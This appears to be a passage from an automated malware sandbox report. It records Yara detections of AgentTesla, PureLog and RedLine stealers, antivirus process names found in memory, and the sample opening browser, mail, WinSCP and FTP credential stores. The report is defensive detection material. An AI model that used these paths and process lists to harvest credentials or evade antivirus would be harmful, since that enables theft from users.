Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\AppData\Roaming\uc.exe

Code function: 19_2_029891C8 GetLocalTime,

19_2_029891C8

Source: C:\Users\user\AppData\Roaming\uc.exe

Code function: 19_2_0298B748 GetVersionExA,

19_2_0298B748

Source: C:\Users\Public\Libraries\bwsiuvcU.pif

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: quhlpsvc.exe
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgamsvr.exe
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Vsserv.exe
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgupsvc.exe
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgemc.exe
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000019.00000002.1788431061.0000000025FC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1680679015.000000003DE32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2554879629.000000003DD81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1680679015.000000003DDE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1680679015.000000003DE5C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1788431061.0000000025FEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1788431061.0000000025F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2554879629.000000003DDAB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2554879629.000000003DD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bwsiuvcU.pif PID: 6340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bwsiuvcU.pif PID: 2196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bwsiuvcU.pif PID: 2324, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 27.3.bwsiuvcU.pif.3bd8fed0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ee39b90.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ede5570.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26fc9b90.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.284a0f08.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.40260000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3daa5566.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3dad5566.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ee39b90.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.409b0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3dad646e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed35570.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.284a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3daa5566.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.40260f08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26f76478.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.40260000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.3.bwsiuvcU.pif.3bd8fed0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3daa646e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.40350000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3dad646e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3daa646e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed35570.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26f75570.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ede5570.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.25dd646e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.28c40000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ede6478.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.28c40000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed36478.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.40260f08.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed36478.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed89b90.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26f75570.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.25dd646e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.284a0f08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.25dd5566.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.284a0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.40350f08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.409c0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26f76478.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.409b0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.40350000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.409c0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3dad5566.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26fc9b90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.40350f08.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.25dd5566.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed89b90.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ede6478.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.bwsiuvcU.pif.3bdc99c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.bwsiuvcU.pif.3bdc99c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.1680345757.000000003DA95000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1682459055.00000000409C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1787983024.0000000025D95000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2555827704.0000000040350000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1791650361.00000000284A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2556241672.00000000409B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.1719620200.000000003BD8F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1516343993.000000003BDC9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2554498447.000000003DA65000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1681909755.0000000040260000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.1634916828.0000000023FF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1681582310.000000003EDE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2555544877.000000003ED31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1792368001.0000000028C40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1790805820.0000000026F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: 23.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.1639938993.00000000004A0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000001.1624046151.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1732584170.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.1494437975.000000007EB10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1639938993.0000000000450000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1732584170.00000000004A0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000001.1707928386.0000000000450000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2524457336.00000000004A0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1519434101.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2524457336.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000001.1494452738.0000000000450000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2524457336.0000000000450000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000001.1624046151.0000000000450000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000001.1624046151.00000000004A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000001.1494452738.00000000004A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000001.1707928386.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000001.1707928386.00000000004A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1732584170.0000000000450000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to harvest and steal ftp login credentials

Source: C:\Users\Public\Libraries\bwsiuvcU.pif

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 00000017.00000002.1680679015.000000003DDE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1788431061.0000000025F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2554879629.000000003DD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bwsiuvcU.pif PID: 6340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bwsiuvcU.pif PID: 2196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bwsiuvcU.pif PID: 2324, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000019.00000002.1788431061.0000000025FC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1680679015.000000003DE32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2554879629.000000003DD81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1680679015.000000003DDE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1680679015.000000003DE5C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1788431061.0000000025FEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1788431061.0000000025F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2554879629.000000003DDAB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2554879629.000000003DD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bwsiuvcU.pif PID: 6340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bwsiuvcU.pif PID: 2196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bwsiuvcU.pif PID: 2324, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 27.3.bwsiuvcU.pif.3bd8fed0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ee39b90.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ede5570.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26fc9b90.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.284a0f08.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.40260000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3daa5566.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3dad5566.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ee39b90.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.409b0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3dad646e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed35570.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.284a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3daa5566.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.40260f08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26f76478.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.40260000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.3.bwsiuvcU.pif.3bd8fed0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3daa646e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.40350000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3dad646e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3daa646e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed35570.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26f75570.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ede5570.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.25dd646e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.28c40000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ede6478.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.28c40000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed36478.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.40260f08.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed36478.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed89b90.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26f75570.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.25dd646e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.284a0f08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.25dd5566.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.284a0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.40350f08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.409c0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26f76478.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.409b0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.40350000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.409c0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3dad5566.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.26fc9b90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.40350f08.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.25dd5566.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.3ed89b90.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.3ede6478.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.bwsiuvcU.pif.3bdc99c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.bwsiuvcU.pif.3bdc99c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.1680345757.000000003DA95000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1682459055.00000000409C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1787983024.0000000025D95000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2555827704.0000000040350000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1791650361.00000000284A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2556241672.00000000409B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.1719620200.000000003BD8F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1516343993.000000003BDC9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2554498447.000000003DA65000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1681909755.0000000040260000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.1634916828.0000000023FF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1681582310.000000003EDE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2555544877.000000003ED31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1792368001.0000000028C40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
